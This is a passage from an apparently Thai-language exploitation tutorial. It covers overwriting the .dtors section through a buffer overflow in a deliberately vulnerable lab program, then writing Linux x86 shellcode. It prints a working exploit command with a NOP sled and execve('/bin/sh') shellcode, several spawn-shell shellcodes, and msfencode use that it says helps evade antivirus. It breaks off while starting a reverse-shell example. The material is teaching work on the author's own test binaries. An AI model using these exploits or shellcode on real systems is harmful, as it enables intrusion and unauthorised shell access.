จากผลลัพธ์ของ objdump จะได้ว่า .ctors section นั้นถูกโหลดใน memory ที่ address 0x080494e0 และ .dtors section ที่ address 0x080494ec และสังเกตเห็นมั้ยครับว่าค่า 4c830408 กับ 60830408 คือ address ของ test_ctor() กับ test_dtor() ตามลำดับ เมื่อเราไล่ดู assembly code ของ __do_global_dtors_aux() function ที่ได้มาจาก objdump


$ objdump -d -j .text ex_08_1 | awk /^.*__do_global_dtors_aux\>:$/,/^$/
080482f4 <__do_global_dtors_aux>:
 80482f4:       55                      push   %ebp
 80482f5:       89 e5                   mov    %esp,%ebp
 80482f7:       83 ec 08                sub    $0x8,%esp
 80482fa:       80 3d ec 95 04 08 00    cmpb   $0x0,0x80495ec # check ว่า destructor ถูกเรียกไปหรือยัง
 8048301:       3e 74 0c                je,pt  8048310 <__do_global_dtors_aux+0x1c>
 8048304:       eb 1c                   jmp    8048322 <__do_global_dtors_aux+0x2e>
 8048306:       83 c0 04                add    $0x4,%eax
 8048309:       a3 e8 95 04 08          mov    %eax,0x80495e8
 804830e:       ff d2                   call   *%edx  # เรียก destructor function
 8048310:       a1 e8 95 04 08          mov    0x80495e8,%eax  # เอา address ที่เก็บ address ของ dtors ลง eax
 8048315:       8b 10                   mov    (%eax),%edx # โหลด address ของ destructor function ลง edx
 8048317:       85 d2                   test   %edx,%edx # จบการเรียก destructor ถ้า address เป็น 0
 8048319:       75 eb                   jne    8048306 <__do_global_dtors_aux+0x12>
 804831b:       c6 05 ec 95 04 08 01    movb   $0x1,0x80495ec
 8048322:       c9                      leave
 8048323:       c3                      ret

จะเห็นว่าใน __do_global_dtors_aux() จะวนเรียก function ที่อยู่ใน dtors จน address ของ function เป็น 0 ดังนั้นเมื่อเกิด buffer overflow แล้วเราสามารถเขียนทับที่ addresss ไหนก็ได้ การเขียนทับ address ของ dtor ก็เป็นวิธีหนึ่งที่ทำให้โปรแกรมทำงานที่ address ที่เราต้องการได้

เรามาดูตัวอย่าง exploit ที่ใช้วิธีการเขียนทับ dtors กันดีกว่า โดยผมให้โปรแกรมที่มีช่องโหว่ดังนี้ (ex_08_2.c)


/* gcc-3.4 -fno-pie -z norelro -z execstack -o ex_08_2 ex_08_2.c */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
    char *ptr;
    char buf[512];

    ptr = buf;
    strcpy(buf, argv[1]);
    strcpy(ptr, argv[2]);

    exit(0);
}

จะเห็นว่าปัญหาของโปรแกรมนี้คือใช้ strcpy กับ input ของผู้ใช้ตรงๆ เหมือนตัวอย่างที่ผมเคยยกมา แต่ความแตกต่างคือมี exit(0); ซึ่งทำให้โปรแกรมไม่ได้จบ main() function ด้วยคำสั่ง assembly ret แต่เปลี่ยนเป็นออกโปรแกรมทันที ทำให้ shellcode ของเราไม่ทำงาน ถึงแม้ว่าเราจะเขียนทับ saved eip ก็ตาม

อีกหนึ่งประเด็นที่อย่างให้เห็นคือ ถ้าเราใส่ค่า argv[1] ไปยาวมากๆ จะทำให้ค่า argv ซึ่งเป็น argument ของ main function ถูกเปลี่ยนไปด้วย ทำให้การอ้างถึง argv[2] ในบรรทัดถัดไป อาจไปอ้างถึง address ที่ invalid (หวังว่ายังจำกันได้ว่า function argument อยู่ข้างล่าง saved eip) ทำให้โปรแกรม crash ก่อนที่โปรแกรมจะเริ่มทำงาน shellcode ของเรา ดังนั้นเวลาเขียน exploit สิ่งหนึ่งที่ต้องระวังคือ ต้องไม่ทำให้โปรแกรม crash ก่อนที่จะโปรแกรมจะมาทำงานในส่วนที่เราต้องการ

แล้วสิ่งที่เราสามารถทำได้ละ ถ้าลองดูที่ assembly ของโปรแกรมนี้ (ข้างล่าง) จะเห็นว่าตัวแปร ptr อยู่ข้างล่าง buf ซึ่งทำให้เราสามารถแก้ไขค่า ptr ได้ โดยการ overflow ตัวแปร buf และคำสั่ง strcpy ที่สองคือการ copy ข้อมูลจาก argv[2] ไปที่ตัวแปร ptr ชี้อยู่ ดังนั้นสิ่งที่เราทำได้ในโปรแกรมนี้ เขียนข้อมูลที่ address ไหนก็ได้ใน memory โดยผมจะแสดงเฉพาะวิธีเขียนทับ dtor (ในตัวอย่างนี้ผมไม่มีการ setuid นะครับ ทำแค่ spawn shell อย่างเดียว)

ก่อนอื่นเรามาดูว่าเราต้องใส่ข้อมูลเท่าไรถึงจะ overwrite ค่า ptr ได้ ซึ่งเมื่อดูใน assembly จะได้ว่าต้องเขียนไป 0x218-0xc = 0x20c = 524 bytes ก่อนจะถึง ptr (วิธีไล่ของผมก็คือหาคำสั่ง strcpy ก่อน แล้วค่อยจะหาตำแหน่งของ buf กับ ptr จากที่ถูกส่งเป็น argument แรก)


$ objdump -d -j .text ex_08_2 | awk /^.*main\>:$/,/^$/
0804837c <main>:
 804837c:       55                      push   %ebp
 804837d:       89 e5                   mov    %esp,%ebp
 804837f:       81 ec 28 02 00 00       sub    $0x228,%esp
 8048385:       83 e4 f0                and    $0xfffffff0,%esp
 8048388:       b8 00 00 00 00          mov    $0x0,%eax
 804838d:       83 c0 0f                add    $0xf,%eax
 8048390:       83 c0 0f                add    $0xf,%eax
 8048393:       c1 e8 04                shr    $0x4,%eax
 8048396:       c1 e0 04                shl    $0x4,%eax
 8048399:       29 c4                   sub    %eax,%esp
 804839b:       8d 85 e8 fd ff ff       lea    -0x218(%ebp),%eax
 80483a1:       89 45 f4                mov    %eax,-0xc(%ebp)
 80483a4:       8b 45 0c                mov    0xc(%ebp),%eax
 80483a7:       83 c0 04                add    $0x4,%eax
 80483aa:       8b 00                   mov    (%eax),%eax
 80483ac:       89 44 24 04             mov    %eax,0x4(%esp)
 80483b0:       8d 85 e8 fd ff ff       lea    -0x218(%ebp),%eax  # buf อยู่ที่ ebp-0x218
 80483b6:       89 04 24                mov    %eax,(%esp)
 80483b9:       e8 1e ff ff ff          call   80482dc   # strcpy แรก
 80483be:       8b 45 0c                mov    0xc(%ebp),%eax
 80483c1:       83 c0 08                add    $0x8,%eax
 80483c4:       8b 00                   mov    (%eax),%eax
 80483c6:       89 44 24 04             mov    %eax,0x4(%esp)
 80483ca:       8b 45 f4                mov    -0xc(%ebp),%eax  # ptr อยู่ที่ ebp-0xc
 80483cd:       89 04 24                mov    %eax,(%esp)
 80483d0:       e8 07 ff ff ff          call   80482dc  # strcpy ที่สอง
 80483d5:       c7 04 24 00 00 00 00    movl   $0x0,(%esp)
 80483dc:       e8 0b ff ff ff          call   80482ec 
...

ต่อมาคือตำแหน่งของ dtor ที่เราต้องการจะเขียนทับ โดยเราจะนำค่านี้มาเขียนทับ ptr จะได้ตำแหน่งที่เราต้องการจะเขียนทับคือ 0x80494bc


$ objdump -s -j .dtors ex_08_2

ex_08_2:     file format elf32-i386

Contents of section .dtors:
 80494b8 ffffffff 00000000                    ........

สุดท้าย คือ address ของ shellcode ของเราที่จะใส่เข้าไป โดยในตัวอย่างนี้ผมจะใส่ shellcode ไว้ใน buf ดังนั้นสิ่งที่เราต้องหาคือ address ของ buf แต่คราวนี้ผมจะใช้ core file เพื่อหา address ของ shellcode ที่จะใส่เข้าไป


$ ulimit -c unlimited
$ ./ex_08_2 `perl -e 'print "A"x528'` `perl -e 'print "B"x4'`
$  gdb -q ex_08_2 core
...
Program terminated with signal 11, Segmentation fault.
#0  0x001b2214 in strcpy () from /lib/tls/i686/cmov/libc.so.6
(gdb) bt
#0  0x001b2214 in strcpy () from /lib/tls/i686/cmov/libc.so.6  # จะเห็นว่าโปรแกรม crash ใน strcpy เพราะว่า ptr ชี้ไปที่ invalid address
#1  0x080483d5 in main ()
(gdb) x/16x $ebp
0xbffff2e8:     0xbffff528      0x080483d5      0x41414141      0xbffff913   # จะเห็นว่าค่า ptr เป็น 0x41414141 (argument ของ strcpy)
0xbffff2f8:     0xbffff30c      0x00124985      0x00000008      0x00000000
0xbffff308:     0xbffff40c      0xbffff354      0x41414141      0x41414141   # buf เริ่มที่ 0xbffff310
0xbffff318:     0x41414141      0x41414141      0x41414141      0x41414141

จะได้ว่า buf เราเริ่มที่ 0xbffff310 และผมจะใช้ execve("/bin/sh") shellcode ที่ได้จากหัวข้อการเขียน Linux x86 Shellcode ขนาด 21 bytes ดังนั้น nop เราจะมีขนาด 524-21 = 503 bytes ดังนั้น exploit จะเป็นดังนี้


$ ./ex_08_2 `perl -e 'print "\x90"x503 . "\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x41\x0b\x99\xcd\x80" . "\xbc\x94\x04\x08"'` `perl -e 'print "\x10\xf3\xff\xbf"'`
$ exit

ทำได้แล้ว แต่อย่างที่ผมบอกไปตอนต้นว่า เทคนิคนี้ใช้ไม่ได้แล้ว เรามาดูกันดีกว่าว่าทำไม ด้วยการลอง compile โปรแกรมที่สองด้วย gcc 4


$ gcc -fno-pie -z norelro -z execstack -o ex_08_2_gcc4 ex_08_2.c
$ objdump -s -j .dtors ex_08_2_gcc4

ex_08_2_gcc4:     file format elf32-i386

Contents of section .dtors:
 804952c ffffffff 00000000                    ........
$ objdump -d -j .text ex_08_2_gcc4 | awk /^.*__do_global_dtors_aux\>:$/,/^$/
08048370 <__do_global_dtors_aux>:
 8048370:       55                      push   %ebp
 8048371:       89 e5                   mov    %esp,%ebp
 8048373:       53                      push   %ebx
 8048374:       83 ec 04                sub    $0x4,%esp
 8048377:       80 3d 30 96 04 08 00    cmpb   $0x0,0x8049630
 804837e:       75 3f                   jne    80483bf <__do_global_dtors_aux+0x4f>
 8048380:       a1 34 96 04 08          mov    0x8049634,%eax
 8048385:       bb 30 95 04 08          mov    $0x8049530,%ebx  # เอา address สุดท้ายของ .dtor secion ลง ebx
 804838a:       81 eb 2c 95 04 08       sub    $0x804952c,%ebx  # ลบกับ address แรก ของ .dtor section
 8048390:       c1 fb 02                sar    $0x2,%ebx  # แล้วหารด้วย 4
 8048393:       83 eb 01                sub    $0x1,%ebx  # แล้วลบด้วย 1 จะได้จำนวนของ destructor function
 8048396:       39 d8                   cmp    %ebx,%eax
 8048398:       73 1e                   jae    80483b8 <__do_global_dtors_aux+0x48>
 804839a:       8d b6 00 00 00 00       lea    0x0(%esi),%esi
 80483a0:       83 c0 01                add    $0x1,%eax
 80483a3:       a3 34 96 04 08          mov    %eax,0x8049634
 80483a8:       ff 14 85 2c 95 04 08    call   *0x804952c(,%eax,4)
 80483af:       a1 34 96 04 08          mov    0x8049634,%eax
 80483b4:       39 d8                   cmp    %ebx,%eax  # ลูปจนจำนวนที่เรียก desturctor function เท่ากับที่คำนวณได้
 80483b6:       72 e8                   jb     80483a0 <__do_global_dtors_aux+0x30>
 80483b8:       c6 05 30 96 04 08 01    movb   $0x1,0x8049630
 80483bf:       83 c4 04                add    $0x4,%esp
 80483c2:       5b                      pop    %ebx
 80483c3:       5d                      pop    %ebp
 80483c4:       c3                      ret

เมื่ออ่าน assembly แล้วจะเห็นว่า เมื่อ compile ด้วย gcc4 ใน __do_global_dtors_aux function จะทำการหาจำนวนของ destructor function จาก .dtors section ซึ่งใส่ค่าตายตัวลงไป ทำให้ถึงแม้เราจะเขียนเพิ่มเหมือนในตัวอย่างที่ผ่านมา โปรแกรมก็จะไม่มีการเรียกไปที่ address ที่เราใส่เข้าไป ยกเว้นในโปรแกรมนั้น จะมี destructor function อยู่แล้ว

Reference:
- Izik 'Abusing .CTORS and .DTORS for fun 'n profit' (VX heavens)

การเขียน Linux x86 Shellcode

2011-02-03T20:14:00.001+07:00

ในหัวข้อ "Buffer Overflow ให้โปรแกรม spawn shell" นั้น ผมได้ให้ shellcode สำหรับ spawn shell ซึ่งคงเห็นกันแล้วว่าหน้าตา shellcode เป็นยังไง (มันก็คือ machine code นั่นแหละ) และในหัวข้อนี้ ผมจะอธิบายวิธีการเขียน shellcode บน Linux x86 (หัวข้อนี้จะต้องใช้ assembly เกือบหมดนะครับ ดังนั้นผมเลยเขียนเป็น nasm syntax ไว้ด้วยใน ex_07.tgz เพื่อความถนัดของแต่ละคน)

การทำงานของแต่ละ process โดยปกติจะทำงานอยู่ใน user mode และเมื่อโปรแกรมต้องการเรียกใช้งานที่เกี่ยวกับ Operating System จะต้องทำการเรียก System Call (เช่น fork, execve, read, write) โดยจะมีการส่ง parameters เพื่อบอกว่าต้องการทำอะไร คล้ายๆ กับการเรียก function แล้ว process นั้นจะสลับการทำงานไปอยู่ใน kernel mode และสลับกับมาทำงานใน user mode เมื่อทำงานเสร็จ (เหมือนจบ function) หรืออาจจะกล่าวได้ว่า System Calls คือ functions สำหรับเรียกใช้งาน OS

โดยปกติการเรียก system call จะทำการเรียกผ่าน C library (libc) ซึ่งทำหน้าที่เป็น wrapper เพื่อให้ code เรา port ไป compile บน OS อื่นได้ (วิธีการเรียก system call ของแต่ละ OS ไม่จำเป็นต้องเหมือนกัน) สำหรับ Linux นั้น system call จะเป็นหมายเลขเพื่อกำหนดว่าจะให้ทำอะไร ซึ่งสามารถดูได้ที่ไฟล์ /usr/include/asm/unistd.h (สำหรับคนใช้ Ubuntu 10.04 จะเห็นในไฟล์มีแค่ include ไฟล์อื่น เนื่องด้วยผมอธิบายเฉพาะ 32 bit ดังนั้นให้ใช้ไฟล์ unistd_32.h) แต่ถ้าใครชอบดู online ก็ดูได้ที่ http://syscalls.kernelgrok.com/ โดยผมได้เอาส่วนที่ผมจะพูดถึงต่อไปมาแสดงไว้ข้างล่าง


#define __NR_restart_syscall      0
#define __NR_exit                 1
#define __NR_fork                 2
#define __NR_execve              11
#define __NR_setuid              23
#define __NR_setgid              46
#define __NR_geteuid             49
#define __NR_dup2                63
#define __NR_setreuid            70
#define __NR_socketcall         102
#define __NR_exit_group         252

ส่วนวิธีการเรียกใช้ system call ด้วย assembly คือใส่หมายเลขของ system call ไว้ที่ register eax และ arguments ต่างๆ ไว้ใน register ebx, ecx, edx, esx, edi, ebp ตามลำดับ แต่ถ้า arguments มีเกิน 6 ตัวก็ให้ใส่ address ของ argument array ไว้ที่ ebx หลังจากกำหนดค่าต่างๆใน register แล้วก็ใช้ interrupt หมายเลข 0x80 และ้ผลลัพธ์ของ system call จะ return กลับมาที่ eax

พูดถึง system call ไปพอสมควร ตอนนี้เรามาเข้าเรื่อง shellcode กันดีกว่า shellcode คือ code ที่เราต้องการให้ทำงาน เมื่อเราสามารถเปลี่ยนแปลงให้โปรแกรมไปทำงานที่ code ของเราได้ โดยสิ่งสำคัญของ shellcode ควรมีขนาดเล็ก เพราะโดบปกติขนาดของ memory ที่เราสามารถ inject code เข้าไปนั้นมีขนาดจำกัด และความแตกต่างที่สำคัญของ shellcode กับโปรแกรมปกติ คือ ถ้าต้องมีการใช้ส่วนที่เป็นข้อมูล ก็ต้องอยู่ใน shellcode ของเรา ไม่มีการแบ่งเป็น section เหมือนโปรแกรมทั่วไป

Exit Shellcode

เรามาดูตัวอย่างแรกกันดีกว่า (ex_07_1.c) เพื่อเขียน exit system call อย่างที่ผมได้บอกว่า libc เป็น wrapper ดังนั้นวิธีหนึ่งในการดูวิธีเรียก system call คือเขียน code เป็น C แล้ว compile ด้วย -static option หลังจากนั้นใช้ gdb เพื่อดูว่า assembly นั้นเขียนอย่างไร


/* gcc -static -o ex_07_1 ex_07_1.c */
#include <stdlib.h>
int main(int argc, char **argv)
{
    exit(1);
}


$ gdb -q ./ex_07_1
Reading symbols from /home/worawit/tutz/ch07/ex_07_1...(no debugging symbols found)...done.
(gdb) disass main
...  # ไล่ไปเรื่อยๆ จนเจอ function _exit ใน function __run_exit_handlers
(gdb) disas _exit
Dump of assembler code for function _exit:
 0x0804f700 <+0>:     mov    0x4(%esp),%ebx  # ใส่ argument ที่ 1 (exit value) ไว้ที่ ebx
 0x0804f704 <+4>:     mov    $0xfc,%eax      # ใส่หมายเลข system call exit_group ไว้ที่ eax
 0x0804f709 <+9>:     int    $0x80           # system call
 0x0804f70b <+11>:    mov    $0x1,%eax # ใส่หมายเลข system call exit ไว้ที่ eax (ebx ใช้ค่าเดิม)
 0x0804f710 <+16>:    int    $0x80           # system call
 0x0804f712 <+18>:    hlt
End of assembler dump.

อีกวิธี เพื่อดูว่ามีการเรียก system call อะไร ด้วย argument อะไรบ้าง คือคำสั่ง strace


$ strace ./ex_07_1
execve("./ex_07_1", ["./ex_07_1"], [/* 20 vars */]) = 0
...
exit_group(1)                           = ?

จะเห็นว่า ผลที่ได้จาก gdb และ strace นั้น แสดงว่า libc ใช้ exit_group system call แล้ว exit_group คืออะไร และทำไมถึงไม่ใช่ exit system call ละ exit_group system call คือคำสั่งที่ใช้สำหรับ exit ทุก thread แต่ exit system call จะออกเฉพาะ thread ของตัวเองเท่านั้น เนื่องด้วย libc เป็น wrapper เพื่อความสะดวกของ programmer จึงได้เขียนให้ exit() function นั้นเรียก exit_group

หลังจากเห็นเกี่ยวกับ exit system call มาพอสมควร เรามาเริ่มเขียนกันใน assembly กันดีกว่า โดยผมจะใช้ AT&T syntax นะครับ ซึ่งจะได้ดังนี้ (ex_07_2.s)


.data
.text

.globl _start

_start:

# exit(0)
movl $0x1,%eax
movl $0,%ebx
int  $0x80

ใช้คำสั่ง as เพื่อ compile เป็น machine code ใน object file และใช้คำสั่ง objdump เพื่อดู machine code


$ as -o ex_07_2.o ex_07_2.s
$ objdump -d ex_07_2.o

ex_07_2.o:     file format elf32-i386

Disassembly of section .text:

00000000 <_start>:
   0:   b8 01 00 00 00          mov    $0x1,%eax
   5:   bb 00 00 00 00          mov    $0x0,%ebx
   a:   cd 80                   int    $0x80

จะได้ shellcode คือ


\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80

โดยเราสามารถทดสอบ shellcode ของเราได้โดยใช้ C code ที่เป็น template ที่เตรียมไว้ไฟล์ testshellcode.c (ไม่แสดง code นะครับ) แต่จะเห็นว่ากว่าจะได้ shellcode เราต้องทำทีละ command และค่อย copy machine code ออก ผมจึงได้เขียน shell script สำหรับทำทั้งหมดไว้แล้ว (build-sc.sh และ clean-sc.sh)


$ build-sc.sh ex_07_2
Compiling ex_07_2.s to ex_07_2.o

Extracting shellcode from ex_07_2.o to ex_07_2.sc
\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80

Creating ex_07_2.sctest.c

Compiling ex_07_2.sctest.c to ex_07_2.sctest
$ ls ex_07_2*
ex_07_2.o  ex_07_2.s  ex_07_2.sc  ex_07_2.sctest  ex_07_2.sctest.c

วิธี check ว่า shellcode เราเรียก system call ถูกต้องคือใช้ strace จะเห็นว่ามีการเรียก exit system call ตามนี้


$ strace ./ex_07_2.sctest
execve("./ex_07_2.sctest", ["./ex_07_2.sctest"], [/* 20 vars */]) = 0
...
_exit(0)                                = ?

ได้แล้ว exit shellcode แต่จะเห็นว่าตอนนี้ shellcode ของเรามีขนาด 12 bytes และที่สำคัญคือมี \x00 ซึ่งปัญหา buffer overflow ส่วนมากเกิดจาก function พวก strcpy() ที่จะหยุด copy เมื่อเจอ \x00 ทำให้ไม่สามารถ copy shellcode ของเราไปทั้งหมด ดังนั้นสิ่งที่เราควรจะแก้คือทำให้ไม่มี \x00 ซึ่งอาจทำการแก้ assembly code ได้ดังนี้ (ex_07_3.s)


.data
.text

.globl _start

_start:

# exit(0)
xorl %eax,%eax   # ใช้ xor เพื่อกำหนดค่า eax เป็น 0
xorl %ebx,%ebx   # ใช้ xor เพื่อกำหนดค่า ebx เป็น 0
movb $1,%al  # กำหนดค่า eax เป็น 1 สามารถใช้ movb ลงใน al เพราะ eax เป็น 0 แล้ว และทำให้ไม่ให้มี \x00
int  $0x80

ซึ่งเมื่อ compile และดูด้วย assembly code ด้วย objdump จะได้


$ build-sc-gas.sh ex_07_3
...
Extracting shellcode from ex_07_3.bin to ex_07_3.sc
\x31\xc0\x31\xdb\xb0\x01\xcd\x80
...
$ objdump -d ex_07_3.o
...
00000000 <_start>:
   0:   31 c0                   xor    %eax,%eax
   2:   31 db                   xor    %ebx,%ebx
   4:   b0 01                   mov    $0x1,%al
   6:   cd 80                   int    $0x80

จะเห็นว่า exit shellcode ใหม่ของเรานั้นไม่มี \x00 และมีขนาด 8 bytes แต่ถ้าเราไม่สนใจ exit code คือค่า ebx เป็นอะไรก็ได้ เราก็สามารถที่จะเอาคำสั่ง xor ebx ออกได้ ก็จะได้ shellcode ขนาด 6 bytes

Bad Characters (badchars)

badchars คือตัวอักษรที่ใช้ไม่ได้ใน payload ซึ่งส่วนมากจะมีอยู่ 2 สาเหตุคือใส่ไปแล้วจะทำให้โปรแกรมรับข้อมูลเราได้ไม่หมด กับโดนเปลี่ยนเป็นตัวอักษรอื่น เช่นถ้า code มีปัญหาที่ str*() ใน payload ของเราจะไม่สามารถที่จะใช้ตัวอักษร \x00 ได้ ตัวอักษร \x00 ก็จะเป็น badchar

สำหรับตัวอย่างและโจทย์ที่ผมให้ เราสามารถรู้ badchars จาก code แต่โดยปกติวิธีการหา badchars ในโปรแกรมใหญ่ๆ และโปรแกรมที่ไม่มี source code จะทำโดยจากส่งค่าตั้งแต่ 0x00 ถึง 0xff แล้วทำการเปรียบเทียบกับค่าใน memory หลังจากที่โปรแกรมรับข้อมูลไปแล้ว

ในหัวข้อนี้ เวลาเขียน shellcode ผมจะสมมติว่า badchar คือ \x00 ตัวเดียว ยกเว้นผมจะระบุไว้ และเราจะทำการหลีกเลี่ยง badchars แบบ manual ด้วยวิธีการเปลี่ยนคำสั่ง assembly แต่การทำงานยังเหมือนเดิม สำหรับหัวข้อหลังๆ ที่ต้องใช้ payload ที่มีความซับซ้อนมากขึ้น ผมจะใช้ msfpayload กับ msfencode เพื่อสร้าง shellcode และหลีกเลี่ยง badchars

ตัวอย่างสำหรับการใช้ msfencode เพื่อเลี่ยง badchars โดยสมมติว่า badchar คือ \x00 กับ \xc0 เราสามารถทำได้ดังนี้


$ perl -e 'print "\x31\xc0\x31\xdb\xb0\x01\xcd\x80"' | msfencode -b '\x00\xc0' -t c
[*] x86/shikata_ga_nai succeeded with size 36 (iteration=1)

unsigned char buf[] =
"\xdd\xc1\xb8\xfa\x64\xfa\x88\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
"\x03\x83\xc2\x04\x31\x42\x13\x03\xb8\x77\x18\x7d\x0d\xb8\xed"
"\xa5\xdd\x39\xc3\xda";

จะเห็นว่า shellcode ใหม่นั้น ไม่มีตัวอักษร \x00 กับ \xc0 และถ้าลองเอาไปทดสอบ จะเห็นว่าได้ผลเหมือนเดิม ซึ่งประโยชน์ของ encoder นอกจากใช้หลีกเลี่ยง badchars แล้วยังสามารถช่วย bypass AV กับ IDS ได้ เพราะการทำงานของ encoder จะคล้ายๆ กับการทำงานของพวก protector/packer

Shellcode สำหรับ Spawning Shell

คราวนี้ก็มาถึง shellcode ที่ผมเคยให้ไป แต่เพื่อไม่ให้ยาว ผมไม่เขียนภาษา C ให้ดูนะครับ argument ของ execve system call จะตรงกับ execve ใน libc ทั้งหมด โดยเป้าหมายแรกที่เราต้องการคือ ให้ shellcode รันเหมือนกับคำสั่ง execve("/bin/sh", { "/bin/sh", 0}, 0) ซึ่งต้องมีกำหนดค่า register ต่อไปนี้
- eax เป็น 0xb (system call number)
- ebx (argument ที่ 1) เป็น address ของ "/bin/sh"
- ecx (argument ที่ 2) เป็น address ของ { "/bin/sh", 0 }
- edx (argument ที่ 3) เป็น 0

ถ้าใครลองเขียนเอง จะเห็นความแตกต่างจาก exit shellcode คือ execve ต้องการ string "/bin/sh" และต้องการ array of pointers ที่ชี้ไป string "/bin/sh" กับ NULL วิธีหนึ่งคือนำ string ไปต่อท้าย shellcode แต่ปัญหาต่อไป คือเราจะรู้ address ของ string เราได้ยังไง

โดยปกติ เพื่อให้โปรแกรม run shellcode ของเรา เราจะต้อง overflow เพื่อเปลี่ยน eip ชี้ไปยัง shellcode ของเรา และยังจำได้มั้ยครับว่าคำสั่ง call ใน assembly เปรียบเสมือน "push eip" แล้ว "jmp addr" ดังนั้นถ้าเราใช้ call หลังจากที่ eip ชี้ไปที่ shellcode ของเรา ใน stack ก็จะมีค่า address ของหลังคำสั่ง call ทำให้เราสามารถเอาค่าออกมาได้จาก stack ด้วยคำสั่ง pop ซึ่งจะได้ assembly คร่าวๆ คือ


jmp  binsh  # กระโดดไปส่วนของ string ก่อน เพื่อหา address

shellcode:
pop %ebx    # pop เอา address ของ "/bin/sh" ไว้ใน ebx (ค่า ebx เป็นที่เราต้องการแล้ว)
# ... กำหนดค่าต่างๆ ของ registers

binsh:
call shellcode   # เพื่อ push eip ลงใน stack
.asciz "/bin/sh"  # string "/bin/sh" ไว้หลัง call เพื่่อให้ saved eip ชี้มาที่ address นี้พอดี

ได้ argument แรกแล้ว ต่อไป argument ที่ 2 คือ array of pointers ที่ชี้ไป { "/bin/sh", 0 } (ดูรูปประกอบ) วิธีหนึ่งคือสร้างต่อท้ายหลัง string "/bin/sh" โดย 4 bytes แรกจะเก็บ address ของ "/bin/sh" และ 4 bytes ถัดไปเก็บค่า 0 ทำให้ได้ assembly ตามนี้ (ex_07_4.s)


.data
.text

.globl _start

_start:

# execve("/bin/sh", {"/bin/sh",0}, 0)
jmp  binsh

shellcode:
pop  %ebx
xorl %eax,%eax      # set eax เป็น 0 ก่อน เพื่อนำค่า 0 ไปใช้
movb %al,0x7(%ebx)  # ให้แน่ใจว่า string "/bin/sh" ลงท้ายด้วย NULL
leal 0x8(%ebx),%ecx # กำหนดค่า ecx (arg2) ไว้ที่หลัง string "/bin/sh"
movl %ebx,(%ecx)    # ใส่ address ของ "/bin/sh" ไว้ใน array
movl %eax,0x4(%ecx) # ใส่ 0 ไว้ใน array
xorl %edx, %edx     # set edx เป็น 0 (arg 3)
movb $0xb,%al       # ใส่ system call number
int  $0x80

binsh:
call shellcode
.asciz "/bin/sh"

เมื่อเราลอง compile และทดสอบดูจะได้ผลตามที่เราต้องการ ถ้าดูขนาดจะเห็นว่า shellcode นี้มีขนาด 34 bytes แต่ขนาดของ shellcode ที่ผมเคยให้ไว้มีขนาดเพียงแค่ 24 bytes ซึ่งใช้วิธีการสร้าง string โดย push ลงใน stack และใช้ stack ในการสร้าง array of pointers (ดูรูปข้างล่างประกอบ) แต่การ push ลง stack จะต้องทำทีละ 4 bytes และเพื่อจะให้ไม่มี \x00 เราจะใช้ "//bin/sh" แทนเพื่อให้มีขนาด 8 bytes และได้ผลเหมือนเดิม โดยเขียนเป็น assembly ได้ดังนี้ (ex_07_5.s)


.data
.text

.globl _start

_start:

# execve("//bin/sh", {"//bin/sh",0}, 0)
xorl %eax,%eax   # set eax เป็น 0
push %eax        # ใส่ NULL for "//bin/sh"
push $0x68732f6e # n/sh
push $0x69622f2f # //bi
movl %esp,%ebx   # set ebx ให้เป็น address ของ "/bin/sh" (top of stack)
#xorl %edx,%edx   # set edx เป็น 0 (ใช้ 2 bytes)
cltd # อีกวิธีในการ set edx เป็น 0 โดยใช้ 1 bytes ใช้คำสั่งนี้ได้เพราะ eax เป็น 0 (สำหรับ nasm ต้องใช้ cdq)
push %edx        # ใส่ NULL สำหรับ array of pointers ตัวที่สอง
push %ebx        # ใส่ address ของ "/bin/sh" สำหรับ array of pointers ตัวแรก
movl %esp,%ecx   # กำหนด ecx ให้เป็น address ของ array of pointers (top of stack)
movb $0xb,%al    # กำหนด execve system call
int  $0x80

ถ้าใครทำ "Buffer Overflow ให้โปรแกรม spawn shell (แบบฝึกหัด 2)" จะเห็นว่าผมได้ให้ shellcode อีกอันหนึ่ง ที่ไม่มี badchar 0x0b เพื่อให้ scanf() function สามารถรับ input ได้หมด ถ้าเราลองใช้ objdump ดูจะเห็นว่าคำสั่งที่มีปัญหาคือ "movb $0xb,%al" โดยวิธีที่ผมเลี่ยงการใช้ 0x0b คือใส่ค่า 0x7b เข้าไปก่อน แล้ว xor กับ 0x70 ตามนี้ (แสดงเฉพาะที่แก้นะครับ)


movb $0x7b,%al
xorb $0x70,%al

ก่อนจะจบ shellcode นี้ เรามาทำให้มันเล็กลงกันก่อนดีกว่า ถ้าเราอ่าน man จะได้ว่า argument ตัวที่ 2 ของ execve คือข้อมูลที่จะส่งผ่านไปที่โปรแกรมใหม่ โดยจะเป็น argv แสดงว่าถึงแม้ว่าเราใส่ค่าอื่นไป โปรแกรมใหม่ก็จะยังเป็น /bin/sh เพียงแค่ argv จะเปลี่ยนไป ดังนั้นเราสามารถสั่งเพียง execve("/bin//sh", 0, 0) ก็ได้ การทำงานยังคงเหมือนเดิม (แต่ถ้าใช้ ps ดู จะเห็นชื่อเปลี่ยนไป) และเมื่อเขียน assembly ใหม่ จะได้เป็น (ex_07_6.s)


.data
.text

.globl _start

_start:

# execve("/bin//sh", 0, 0)
xorl %ecx,%ecx   # set ecx เป็น 0
push %ecx        # NULL สำหรับ "/bin//sh"
push $0x68732f2f # //sh
push $0x6e69622f # /bin
movl %esp,%ebx   # set ebx เป็น address ของ "/bin//sh" (top of stack)
leal 0xb(%ecx),%eax # ใช้ lea แทน xorl แล้ว movb จะประหยัดได้ 1 byte
cltd             # set edx เป็น 0
int  $0x80

เมื่อ compile code นี้ เราจะได้ shellcode สำหรับ spawning shell ขนาด 21 bytes

Shellcode สำหรับ Connect Back Shell

มาถึง shellcode ตัวสุดท้ายที่เราจะมาเขียนกัน คือ reverse shell โดยจะเขียนสำหรับ IPv4 เท่านั้น และให้ต่อกลับมาที่ 127.0.0.1:5555

ก่อนจะเริ่มเขียน assembly เรามาดู code ที่เขียนด้วยภาษา C กันก่อน (ex_07_7.c) เพื่อจะได้เข้าใจว่าจะต้องมีการเรียกคำสั่งอะไรบ้าง


/*
gcc -static -o ex_07_7 ex_07_7.c
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char **argv)
{
    int sk;
